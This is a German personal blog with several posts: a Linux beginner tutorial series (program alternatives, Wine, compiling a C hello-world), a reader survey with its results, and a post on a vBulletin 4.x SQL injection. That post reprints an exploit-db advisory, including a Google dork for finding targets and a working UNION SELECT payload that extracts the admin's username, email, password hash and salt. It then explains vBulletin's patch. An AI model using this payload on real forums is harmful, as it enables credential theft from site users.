Linux – Umstieg auf ein freies Betriebssystem Teil 6

Hallo,

heute folgt (nach langer Pause) Teil sechs meiner “Tutorialreihe”, in diesem Teil werde ich euch zeigen, wie man unter Linux “spielen” und “programmieren” kann. Dieser Teil wird nicht besonders lange ausfallen, weil ich bereits am Anfang schon erwaehnte, dass Zocker auf Linux nicht viel zu suchen haben.

Spiele unter Linux
Die meisten aktuellen Spiele unterstuetzen oft (neben Konsolen) ausschließlich Windows, ein Beispiel von vielen dafuer ist GTA IV, welches an “Windows Live” gebunden ist. Doch woran liegt das?

In erster Linie liegt das an den Herstellern, weil die Zielgruppe der Zocker nunmal hauptsaechlich auf Windows setzt und es sich (aus ihrer Sicht) nicht “rentiert” – ich nenns mal “plattformunabhaengige” – Spiele zu entwickeln. Das ist einerseits nachvollziehbar und andererseits aber auch nicht gut fuer Linux Nutzer. Es gibt einfach zu wenig “Linux Zocker”. Steam zum Beispiel moechte keine Linux Edition rausbringen, obwohl es dafuer Geruechte gab – sie arbeiten lieber an einem Mac Client. Fuer Linux gibt es dann oftmals nur alte Spiele – aber was ist wenn man trotzdem unter Linux “zocken” moechte?

Man moege es ueber Wine probieren, mithilfe von Wine lassen sich Windows Anwendungen (sprich .exe Dateien) ueber Linux ausfuehren. Ich bin kein sonderlich großer Fan davon und hab es auch nicht installiert, weil jemand der auf Linux umsteigt und “Wine” als erstes installiert, sollte sich ueberlegen, ob Linux das richtige Betriebssystem ist.. aber ich schweif vom Thema ab.

Je nach Linux Distribution laesst es sich ziemlich einfach und oftmals aus den Repos installieren
auf Ubuntu / Debianarten:
(sudo) apt-get install wine

Danach die .exe Datei einfach mithilfe von Wine ausfuehren und testen, Steam laesst sich darueber zum Beispiel auch installieren und auch Counter-Strike Source sollte laufen, je nach Grafikkartentreiber macht das dann mehr oder weniger probleme – einige beobachten eine hoehrere FPS Anzahl bei Counter-Strike Source im Vergleich zu CSS auf Windows Systemen.. hab ich selber aber nicht getestet.

Aktuelle Spielen koennen funktionieren, aber das muss man dann erst testen (wie so einiges auf Linux 🙂 )

Das heißt jedoch nicht, dass es keine Games fuer Linux gibt. Es gibt auch viele Games die in einer plattformunabhaengigen Programmiersprache geschrieben wurden (und nicht Windows voraussetzen), ein ziemlich gutes Beispiel dafuer ist Minecraft (ein gaaaaanz tolles Spiel uebrigens 😀 ), das in Java geschrieben wurde und sowohl unter Windows & Mac, als auch Linux funktioniert.

Wenn wir nun schon beim Thema Programmieren sind, dann richtig..

Programmieren unter Linux

Wer unter Linux programmieren moechte, sollte sich plattformunabhaengige Sprachen anschauen – das heißt am besten Programmiersprachen wie C, C++, Java, ASM (…) und Scriptsprachen wie (HTML/CSS,) PHP, Perl, Python, Javascript, … – auf bekannten Sprachen wie Visual Basic (.NET), C# und Delphi sollte man verzichten.

Es gibt auch fuer Linux ganze Entwicklungsumgebungen (IDEs) zum Beispiel von Code::Blocks und anderen Herstellern, aber ich bleib oftmals bei einfachen Mitteln und anhand von diesen werd ich euch in C zeigen, wie man unter Linux “programmiert”. Ich werde euch nicht programmieren beibringen, sondern veranschaulichen, wie “einfach” es unter Linux gehen kann.

Was benoetigt man?
– Einen Editor wie vim / nano / gedit / emacs / was auch immer – am besten mit Syntax Highlighting
– Einen Compiler (gcc fuer C / g++ fuer C++)
– Linux Console/Terminal

Los gehts!
Ich werde vim verwenden, damit wir alles mit einem “Terminal” fenster machen.
Oeffnet euer Terminal, gibt ein “vim hello.c” – wer noch nie mit vim gearbeitet hat, drueckt einfach mal “i” damit unten links “INSERT” steht, nun gebt ihr folgendes ein:

#include 

int main()
{
  printf("Hello World!\n");
}

Die Leute die C koennen sehen was passiert, aber an die, die es nicht koennen, in Zeile 1 fuegen wir den Standard Input Output Header ein, d.h. in dieser Datei steht quasi drin, was Befehle wie “printf” machen sollen. Mit int main() { starten wir unser Hauptprogramm, printf gibt den text aus, welcher in den Anfuehrungszeichen steht, \n faengt eine neue Zeile an und das semikolon beendet den befehl, die } schließt unser “Hauptprogramm”. Danach drueckt man einfach escape und gibt “:wq” ein, was fuer “write” und “quit” steht, d.h. so viel wie “speichern und beenden”. Das kleine Programm sollte fuer unseren Test reichen, nun geben wir ein:

gcc hello.c -o hello

gcc – unser c-compiler
hello.c – unser dateiname
-o hello – name der “fertig” compilierten Datei (-o steht fuer output, mehr befehle kann man sich mit “man gcc” anschauen)

Wenn nun keine Fehlermeldung erscheint, dann ist alles fein, ansonsten steht in der Fehlermeldung, in welcher Zeile man sich vertippt bzw. einen Fehler gemacht hat.

Ausfuehren kann man Dateien unter Linux mit ./dateiname:
./hello

Wenn die Ausgabe so aussieht, ist alles fein:

[j0hnx3r@osiris ~]$ gcc hello.c -o hello
[j0hnx3r@osiris ~]$ ./hello
Hello World!
[j0hnx3r@osiris ~]$

Und das wars! Wir haben ein Programm in C geschrieben, compiliert und ausgefuehrt – so einfach und schnell geht das unter Linux 😀 Und das ohne Entwicklungsumgebungen und anderen Muell in einem einzigen Terminalfenster. Ich mein klar, wenn man groessere Projekte vor hat, koennen IDEs von großer Hilfe sein, aber das sollte erstmal zur “Demonstrierung” reichen, wie man unter Linux programmieren kann.

In anderen Sprachen wie PHP, Perl, etc geht das uebrigens genauso einfach, sie lassen ich mit “php dateiname.php” / “perl dateiname.pl” / “python dateiname.py” ausfuehren.

So viel erstmal zum Thema Spiele und Programmieren unter Linux, wer nun vielleicht Spaß an C gefunden hat ( wer weiß ^-^ ), kann sich die Sprache auch weiter anschauen, gibt einige OpenBooks und Tutorials im Internet, auch wenn C schon “uralt” (im Vergleich zu anderen Sprachen) ist, ist die Sprache nach wie vor maechtig und fast ueberall im Einsatz.

Die naechsten Teile werden jeweils Dualboot von Windows und Linux, Festplattenverschluesselung unter Linux, Installation von Ubuntu & Fedora und “die wichtigsten” Linux Commands beinhalten.

Bis zum naechsten Teil!

Ergebnis Meinungsumfrage

Ahoi,

erstmal ein Dankeschoen an alle, die an meiner Umfrage teilgenommen haben – es waren am Ende 117 Teilnehmer und der Großteil hat die Umfrage auch ernst genommen. 🙂

Die Auswertung der Fragen 1 – 8 werdet ihr hier sehen, Frage 9 war ja eure “persoenliche” Meinung an mich, daher wird das hier nicht veroeffentlicht.

Frage 1: Wie alt bist du?
Zuerst wollte ich wissen, wie alt in etwa meine Zielgruppe ist.

 < 12    - 1.71% 
 13 - 14 - 3.42% 
 15 - 16 - 14.53% 
 17 - 18 - 28.21% 
 19 - 20 - 17.95% 
 21 - 22 - 16.24% 
 > 23 	 - 17.95% 

alter

Frage 2: Du bist..
Ob hier wohl weibliche Personen vertreten sind? 😀

Maennlich - 97.39% 
Weiblich  - 2.61% 

geschlecht

Frage 3: Woher kennst du meinen Blog?
Wie seid ihr auf meinen Blog gestoßen? (:

 Durch Google / andere Suchmaschinen - 5.98% 
 Durch Freunde / Bekannte - 5.98% 
 Werbung auf Foren - 13.68% 
 Durch dich (zum Beispiel auf verschiedenen Foren) - 54.70% 
 Twitter -  5.13% 
 Sonstiges - 14.53% 

Woher kennst du meinen Blog

Frage 4: Mein Blog hat 5 Kategorien, welche davon interessiert dich am meisten?
Welche Sektion interessiert euch am meisten? Eure weiteren Kategorienvorschlaege poste ich auch nicht oeffentlich, sondern behalte sie erstmal fuer mich und werde es ueberdenken 🙂

 Allgemein - 5.26% 
 Exploits - 8.77% 
 Szene News - 28.95% 
 Tutorials - 28.07% 
 Vulnerable Sites - 2.63% 
 Mir gefallen alle - 26.32% 

Kategorie

Frage 5: Nun darfst du die Kategorien nach ihrem Inhalt bewerten
Wie gefallen dir die Posts in den einzelnen Sektionen?

Inhalt

Frage 6: Wie oft besuchst du meinen Blog? (2 Auswahlmoeglichkeiten)
Wie oft schaust du vorbei?

 Taeglich - 12.41% 
 1-2 Mal pro Woche - 22.63% 
 3-4 Mal pro Woche - 17.52% 
 Woechentlich - 9.49% 
 Alle 2-3 Wochen - 7.30% 
 Monatlich - 2.19% 
 Wenn es etwas neues gibt und ich darueber informiert werde (Twitter RSS Feeds ...) - 28.47% 

Besucherstatistik

Frage 7: Welche Aussagen treffen auf dich zu?
Da die Ergebnisse mein Design zerstoeren, weil es zu breit ist, ist hier ein direktlink:

*klick*

Frage 8: Wie stehst du zu meinen neuen Vorschlaegen?
Genauso ein direktlink:

*klick*

Zur Frage 9 hab ich noch einen Satz zu sagen, danke fuer eure nette Mitteilung, auch wenn die ein oder andere nicht nett ist, aber sowas kommt vor, sonst waere es ja langweilig. Das “porn” fehlt sehe ich zum Beispiel genauso ( 😀 ). Aber ansonsten gibts 2 unterschiedliche Meinungen bezueglich den “Szene News”, die einen sagen “hoer bloß auf damit, es ist uninteressant / blah”, aber andererseits sieht man oben, bei Frage 4 das doch knapp ein Drittel daran interessiert ist.
Man kann es eigentlich nie allen recht machen, weil jeder eben etwas unterschiedlich drauf ist und andere Meinungen zum Thema hat, aber ich werd trotzdem versuchen das in Zukunft so zu gestalten, dass die Leute, die nicht an “Szene News” interessiert sind, es sich trotzdem durchlesen oder einfach akzeptieren.

Wie wird es nun weiter gehen?

Ich werde mir natuerlich alle eure Ratschlaege zu Herzen nehmen und plane dann auch das ein oder andere hier zu veraendern. Wann es soweit sein wird kann ich noch nicht sagen, spaetestens jedoch, wenn mein Blog umzieht und die Infrastruktur umgestellt wird. Auch werden dann oefters mal wieder Blogeintraege folgen und vielleicht ein neues Design ^-^

In diesem Sinne, Danke fuer eure Meinung zu meinem Blog und einen tollen Start in die neue Woche wuensch ich euch! (:

vBulletin 4.0.x => 4.1.4 (messagegroupid) SQL Injection Vulnerability

Ahoi,

vor ein paar Monaten, hatte ich zu einer SQL Injection in vBulletin ja schon einige Worte geschrieben, heute folgen die naechsten Worte.

Das lustige ist, dass es im prinzip das selbe Modul wie damals war.

Das Exploit ist seit gestern bzw. heute draußen:

# Exploit Title: Vbulletin 4.0.x => 4.1.3 (messagegroupid) SQL injection Vulnerability 0-day
# Google Dork: intitle: powered by Vbulletin 4
# Date: 20/07/2011
# Author: FB1H2S	
# Software Link: [[url]http://www.vbulletin.com/][/url]
# Version: [4.x.x]
# Tested on: [relevant os]
# CVE : [[url]http://members.vbulletin.com/][/url]

######################################################################################################
Vulnerability:
######################################################################################################

Vbulletin 4.x.x => 4.1.3 suffers from an SQL injection Vulnerability in parameter "&messagegroupid" due to improper input validation.

#####################################################################################################
Vulnerable Code:
#####################################################################################################

File:    /vbforum/search/type/socialgroupmessage.php
Line No: 388
Paramater : messagegroupid



		
		if ($registry->GPC_exists['messagegroupid'] AND count($registry->GPC['messagegroupid']) > 0)

		{

			$value = $registry->GPC['messagegroupid'];

			if (!is_array($value))

			{

				$value = array($value);

			}



			if (!(in_array(' ',$value) OR in_array('',$value)))

			{

				if ($rst = $vbulletin->db->query_read("

					SELECT socialgroup.name

					FROM " . TABLE_PREFIX."socialgroup AS socialgroup

--->					WHERE socialgroup.groupid IN (" . implode(', ', $value) .")")

				
			}



############################################################################################
Exploitation:
############################################################################################
Post data on: -->search.php?search_type=1
	      --> Search Single Content Type

Keywords :   Valid Group Message

Search Type : Group Messages 

Search in Group : Valid Group Id

&messagegroupid[0]=3 ) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt) FROM user WHERE userid=1#

##########################################################################################
More Details:
##########################################################################################
Http://www.Garage4Hackers.com
http://www.garage4hackers.com/showthread.php?1177-Vbulletin-4.0.x-gt-4.1.3-(messagegroupid)-SQL-injection-Vulnerability-0-day


###########################################################################################
Note:
###########################################################################################

Funny part was that, a similar bug was found in the same module, search query two months back. Any way Vbulletin has released a patch as it was reported to them by altex, hence
customers are safe except those lowsy Admins. And this bug is for people to play with the many Nulled VB sites out there. " Say No to Piracy Disclosure ".

Quelle: http://www.exploit-db.com/exploits/17555/

Schlicht gehalten und das wichtigste ist drin. Der Exploit Titel ist uebrigens falsch, da es die Version 4.1.4 genauso betrifft.

Zum Thema ausnutzen muss ich denk ich nichts sagen, das hab ich beim letzten Mal ausfuehrlich getan und das klappt im Prinzip in diesem Exploit genauso.

Aber zum Thema Luecke fixxen werd ich ein paar Dinge sagen, die ich mir nicht selber ausgedacht habe, sondern werde diese vom vB veroeffentlichtem Patch uebernehmen:

Wie im obigen Exploit zu sehen, geht es um den Code in Zeile 397 (den kompletten code block seht ihr im exploit oben):

WHERE socialgroup.groupid IN (" . implode(', ', $value) .")")

Das wurde nun geaendert zu:

WHERE socialgroup.groupid IN (" . implode(', ', array_map('intval', $value)) .")")

Eine weitere Zeile die geaendert wurde ist 424:

					WHERE socialgroupcategory.socialgroupcategoryid IN (" . implode(', ', $value) .")")

wurde geaendert in:

					WHERE socialgroupcategory.socialgroupcategoryid IN (" . implode(', ', array_map('intval', $value)) .")")

Dann Zeile 511 – 515:

	protected $type_globals = array (
		'nocache'            => TYPE_UINT,
		'messagegroupid'     => TYPE_ARRAY,
		'categoryid'         => TYPE_ARRAY
	);

zu

	protected $type_globals = array (
		'nocache'            => TYPE_UINT,
		'messagegroupid'     => TYPE_ARRAY_UINT,
		'categoryid'         => TYPE_ARRAY_UINT,
	);

Kunden koennen sich den Patch natuerlich im Kundenpanel runterladen.

Wer sich nun denkt “toll, und was soll das ganze?” – in erster Linie wollte ich den Blogeintrag schreiben, weil die Luecke quasi im gleichen Modul ist zu der von damals und als zweiten Gedanken um den Leuten ohne vB Lizenz eine Moeglichkeit zu geben, ihr Board vor der Luecke zu schuetzen – als dritter Gedanke sollte natuerlich auch meinem Slogan dieser Blogeintrag gewidmet sein.

Bis zur naechsten vB Vuln 😉

Deine Meinung ist gefragt!

j0hnx3r.org gibt es nun seit 2 1/2 Jahren, im Vergleich zu damals sind die Besucherzahlen gestiegen und bleiben konstant, auch der Blog hat sich mitveraendert, manchmal ueberlege ich lange nach, was ich als naechstes Bloggen soll, was euch interessieren koennte.

Daher ist heute mal eure Meinung gefragt, was interessiert euch, was interessiert euch nicht, was findet ihr scheiße und was findet ihr gut? Was wuerdet ihr aendern und was wuerdet ihr gleich lassen?

Diese Umfrage soll mir vorallem dabei helfen, einen Ueberblick ueber meine Zielgruppe zu verschaffen – daher werde ich euch am Anfang 2 “persoenliche” Fragen stellen, danach folgen Fragen zum Inhalt und zum Schluss duerft ihr mir Verbesserungsvorschlaege, Kritik & Lob geben.

Bitte nehmt euch die Zeit und beantwortet alle Fragen moeglichst wahrheitsgemaeß.

Zur Umfrage geht es hier lang…

Seid so gut und nehmt nur einmal teil – zu gewinnen gibt es … nichts 😉

Das ganze geht eine Woche, danach gebe ich das Ergebnis von Frage 1-8 auch oeffentlich bekannt – Viel Spaß!

Linux – Umstieg auf ein freies Betriebssystem Teil 5

Hallo,

heute folgt Teil fuenf meiner “Tutorialreihe”, in diesem Teil werde ich euch ein paar Programmalternativen vorstellen. Ich kenn einige die meinen “hmpf ich will Windows Programme verwenden, wo bekomm ich Wine her, wie geht das und bla” – braucht man alles nicht.

Es gibt sowohl gute als auch weniger gute Alternativen zu einigen Windowsprogrammen und natuerlich auch welche, die Windows Programme (leider?) nicht ersetzen koennen. Ich werde natuerlich nicht _alle_ Programmalternativen auflisten, sondern nur welche, die auch mir persoenlich gut gefallen – man sollte jedoch beachten das alle gelisteten Programme kostenlos sind und man so einiges an Geld sparen kann 😉

Messenger:
Pidgin – ein kostenloser Messenger, welcher durch Plugins (zum Beispiel OTR, was ich in einem anderen Artikel beschrieben hab) erweiterbar ist, unterstuetzt werden u.a. AIM, ICQ, MSN, IRC, XMPP (Jabber), Facebook und vieles mehr.

Xchat – ein umfangreicher IRC Client, eine alternative zu mIRC (Windows)
Irssi – ein schlichter IRC Client ohne GUI, das in der “Console” laeuft

eMail Programme:
Thunderbird* – kennt denk ich jeder, die Linux Version davon ist so gut wie die Windows Version und hat auch die gleichen Funktionen.
Evolution – ein eMail Client, welcher standardmaessig unter GNOME zum Einsatz kommt

Webbrowser:
Firefox* – auch bekannt von Windows, funktioniert wunderbar unter Linux
Opera – ebenfalls bekannt unter Windows, funktioniert wunderbar unter Linux
Epiphany – ein Browser der standardmaessig unter GNOME zum Einsatz kommt

w3m – ein textbasierter Browser ohne GUI

PDF Reader:
Evince – unterstuetzt pdf, postscript, djvu, tiff und dvi – gefaellt mir ziemlich gut

Multimedia:
Amarok – hatte ich damals gern benutzt, ist an sich ziemlich tutti
Moc – ein Player ohne GUI, laesst sich in der Console ausfuehren
VLC Player – bekannt unter Windows, funktioniert 1a unter Linux

Bildbearbeitung:
Gimp – sollte auch unter Windows bekannt sein, kann nicht genauso viel wie Adobe Photoshop, ist aber eine gute Alternative fuer normale Nutzer

Imageviewer:
eog – standard imageviewer von GNOME, gefaellt mir gut

Office:
OpenOffice – eine gute Alternative zu MS Office, kostenlos und umfangreich
LibreOffice – ebenfalls eine gute Alternative, welche beliebter wird

CD / DVD Brennprogramme:
brasero – standard unter GNOME
k3b – umfangreicher und standard unter KDE

Pack/Entpackprogramme:
File Roller – standard unter GNOME
rar/unrar – winrar aus Windows bekannt

File Manager:
Nautilus – standard unter GNOME
Konqueror – standard unter KDE und sogar ein tick umfangreicher

Texteditor:
Console:
vim – mein favorite 🙂
nano – ist allgemein der beliebteste

mit GUI:
Gedit – standard unter GNOME und toll
emacs – hab ich ebenfalls schon einmal verwendet

FTP Clients:
Filezilla – bekannt unter Windows, ein TOP Client
gFTP – etwas buggy, aber reicht notfalls

Torrentclients:
Transmission – einfach, uebersichtlich und gut

*) Da es mit Mozilla einen “Namensstreit” gibt, heißt der Firefox nur unter wenigen Linux Distributionen auch Firefox, unter Debian heißt er beispielsweise “Iceweasel” – anderer Name aber gleiche Software, genauso mit Thunderbird.

Ich denk das sollte als kleine Liste fuer Anfaenger erstmal reichen, wie man sieht genuegen mir oftmals schon die Standardprogramme, da meine Ansprueche nicht sonderlich hoch sind, es gibt viele gute Alternativen, so das der Umstieg auf Linux aufjedenfall leichter fallen kann 🙂

Wenn ihr noch weitere gute Vorschlaege habt, koennt ihr diese ja als Comment hinterlassen.

Bis zum naechsten Teil!